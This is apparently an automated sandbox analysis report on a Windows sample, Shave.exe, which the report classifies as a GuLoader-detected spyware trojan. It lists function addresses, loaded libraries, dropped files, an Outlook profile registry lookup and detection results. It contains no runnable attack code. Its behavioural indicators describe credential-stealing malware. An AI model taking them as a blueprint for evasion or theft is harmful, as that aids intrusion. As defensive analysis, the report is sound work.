Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31B91	3_2_04B31B91
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3E790	3_2_04B3E790
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B34D98	3_2_04B34D98
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B37998	3_2_04B37998
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B32D9C	3_2_04B32D9C
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39180	3_2_04B39180
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B34D89	3_2_04B34D89
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B37988	3_2_04B37988
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30DF0	3_2_04B30DF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B387F0	3_2_04B387F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3DDF0	3_2_04B3DDF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36FFA	3_2_04B36FFA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31FF8	3_2_04B31FF8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30DE0	3_2_04B30DE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B387E0	3_2_04B387E0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B33FE8	3_2_04B33FE8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3F5E8	3_2_04B3F5E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31FE8	3_2_04B31FE8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39FD0	3_2_04B39FD0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3F5D7	3_2_04B3F5D7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39FD8	3_2_04B39FD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B33FD8	3_2_04B33FD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3B7C0	3_2_04B3B7C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B35FC7	3_2_04B35FC7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36B30	3_2_04B36B30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B35B39	3_2_04B35B39
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3D938	3_2_04B3D938
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3F120	3_2_04B3F120
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3D927	3_2_04B3D927
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B38328	3_2_04B38328
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3F111	3_2_04B3F111
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31710	3_2_04B31710
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39B10	3_2_04B39B10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B38319	3_2_04B38319
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B32918	3_2_04B32918
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39B0A	3_2_04B39B0A
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B34908	3_2_04B34908
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3290E	3_2_04B3290E
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39171	3_2_04B39171
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3E77F	3_2_04B3E77F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30960	3_2_04B30960
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3A968	3_2_04B3A968
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3C150	3_2_04B3C150
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30950	3_2_04B30950
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B33B58	3_2_04B33B58
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3A958	3_2_04B3A958
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3C142	3_2_04B3C142
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36B40	3_2_04B36B40
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B35B48	3_2_04B35B48
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B33B4E	3_2_04B33B4E
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B570C0	3_2_04B570C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B5D710	3_2_04B5D710
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B554A0	3_2_04B554A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B522A0	3_2_04B522A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B53880	3_2_04B53880
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50680	3_2_04B50680
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56A80	3_2_04B56A80
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B55AE0	3_2_04B55AE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B528E0	3_2_04B528E0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B53EC0	3_2_04B53EC0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50CC0	3_2_04B50CC0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50036	3_2_04B50036
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B54820	3_2_04B54820
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B51620	3_2_04B51620
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B55E00	3_2_04B55E00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B52C00	3_2_04B52C00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B54E60	3_2_04B54E60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B51C60	3_2_04B51C60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56440	3_2_04B56440
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B53240	3_2_04B53240
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50040	3_2_04B50040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B5EE48	3_2_04B5EE48
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56DA0	3_2_04B56DA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B53BA0	3_2_04B53BA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B509A0	3_2_04B509A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B55180	3_2_04B55180
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B51F80	3_2_04B51F80
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B541E0	3_2_04B541E0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50FE0	3_2_04B50FE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B541D0	3_2_04B541D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B557C0	3_2_04B557C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B525C0	3_2_04B525C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B599C8	3_2_04B599C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56120	3_2_04B56120
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B52F20	3_2_04B52F20
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B54500	3_2_04B54500
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B51300	3_2_04B51300
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56760	3_2_04B56760
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B53560	3_2_04B53560
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50360	3_2_04B50360
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B50350	3_2_04B50350
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B56750	3_2_04B56750
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B54B40	3_2_04B54B40
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B51940	3_2_04B51940
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B59740	3_2_04B59740
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41CF0	3_2_04E41CF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E48470	3_2_04E48470
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4FB30	3_2_04E4FB30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41CE0	3_2_04E41CE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4F4F0	3_2_04E4F4F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E490F0	3_2_04E490F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4C2F0	3_2_04E4C2F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E404FA	3_2_04E404FA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4D8D0	3_2_04E4D8D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4A6D0	3_2_04E4A6D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4BCB0	3_2_04E4BCB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E48AB0	3_2_04E48AB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4EEB0	3_2_04E4EEB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E40E8B	3_2_04E40E8B
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4A090	3_2_04E4A090
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4D290	3_2_04E4D290
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E40E98	3_2_04E40E98
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4E870	3_2_04E4E870
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4B670	3_2_04E4B670
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4A07F	3_2_04E4A07F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E40040	3_2_04E40040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4CC41	3_2_04E4CC41
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E49A50	3_2_04E49A50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4CC50	3_2_04E4CC50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41828	3_2_04E41828
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4B030	3_2_04E4B030
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4E230	3_2_04E4E230
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41817	3_2_04E41817
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4C610	3_2_04E4C610
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E49410	3_2_04E49410
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4F810	3_2_04E4F810
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4001A	3_2_04E4001A
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4DBF0	3_2_04E4DBF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4A9F0	3_2_04E4A9F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4F1D0	3_2_04E4F1D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E409D0	3_2_04E409D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E48DD0	3_2_04E48DD0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4BFD0	3_2_04E4BFD0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4D5B0	3_2_04E4D5B0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4A3B0	3_2_04E4A3B0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E409BF	3_2_04E409BF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4B990	3_2_04E4B990
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E48790	3_2_04E48790
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4EB90	3_2_04E4EB90
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41360	3_2_04E41360
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E43360	3_2_04E43360
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E49D70	3_2_04E49D70
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4CF70	3_2_04E4CF70
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4E550	3_2_04E4E550
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4B350	3_2_04E4B350
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E41351	3_2_04E41351
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4C930	3_2_04E4C930
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E49730	3_2_04E49730
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E40508	3_2_04E40508
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4AD10	3_2_04E4AD10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04E4DF10	3_2_04E4DF10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0D88	3_2_379F0D88
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F5CB6	3_2_379F5CB6
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F3FB2	3_2_379F3FB2
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F36F0	3_2_379F36F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F3008	3_2_379F3008
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F2238	3_2_379F2238
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F2920	3_2_379F2920
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F1B50	3_2_379F1B50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F1470	3_2_379F1470
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F2FF8	3_2_379F2FF8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F36E1	3_2_379F36E1
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F2911	3_2_379F2911
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0A10	3_2_379F0A10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0006	3_2_379F0006
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0A01	3_2_379F0A01
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F1B3F	3_2_379F1B3F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F2229	3_2_379F2229
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0040	3_2_379F0040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F0D78	3_2_379F0D78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_379F1460	3_2_379F1460
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38315028	3_2_38315028
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831FC68	3_2_3831FC68
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38312968	3_2_38312968
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831D9A8	3_2_3831D9A8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831DE00	3_2_3831DE00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38311E80	3_2_38311E80
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38319328	3_2_38319328
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_383117A0	3_2_383117A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38315020	3_2_38315020
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831F810	3_2_3831F810
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38310012	3_2_38310012
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38319C18	3_2_38319C18
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38310040	3_2_38310040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831CCA0	3_2_3831CCA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831D0F8	3_2_3831D0F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831D550	3_2_3831D550
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38319548	3_2_38319548
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831D999	3_2_3831D999
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831DDF1	3_2_3831DDF1
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831DDFF	3_2_3831DDFF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38311E70	3_2_38311E70
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E257	3_2_3831E257
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E258	3_2_3831E258
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E24A	3_2_3831E24A
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E6B0	3_2_3831E6B0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E6A0	3_2_3831E6A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831E6AF	3_2_3831E6AF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38310B30	3_2_38310B30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38310B20	3_2_38310B20
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831EB08	3_2_3831EB08
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831EF60	3_2_3831EF60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831EF51	3_2_3831EF51
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831F3B8	3_2_3831F3B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38318BA0	3_2_38318BA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831C3AE	3_2_3831C3AE
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_38318B91	3_2_38318B91
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_3831178F	3_2_3831178F

Source: C:\Users\user\Desktop\Shave.exe

Code function: String function: 00402C41 appears 46 times

Source: Shave.exe, 00000003.00000002.3279604982.0000000004BB2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs Shave.exe

Source: Shave.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@7/5

Source: C:\Users\user\Desktop\Shave.exe

0_2_0040336C

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_004046FF GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046FF

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\Shave.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Shave.exe

File created: C:\Users\user\AppData\Local\Temp\nsv5BEB.tmp

Jump to behavior

Source: Shave.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Shave.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Shave.exe

Virustotal: Detection: 45%

Source: C:\Users\user\Desktop\Shave.exe

File read: C:\Users\user\Desktop\Shave.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Shave.exe "C:\Users\user\Desktop\Shave.exe"
Source: C:\Users\user\Desktop\Shave.exe	Process created: C:\Users\user\Desktop\Shave.exe "C:\Users\user\Desktop\Shave.exe"
Source: C:\Users\user\Desktop\Shave.exe	Process created: C:\Users\user\Desktop\Shave.exe "C:\Users\user\Desktop\Shave.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Shave.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2342825551.0000000004332000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2342460807.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shave.exe PID: 1216, type: MEMORYSTR

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_6F971B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F971B63

Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_6F972FD0 push eax; ret	0_2_6F972FFE
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_004020ED push E9004081h; iretd	3_2_004020F2
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00159C30 push esp; retf 0017h	3_2_00159D55

Source: C:\Users\user\Desktop\Shave.exe

File created: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
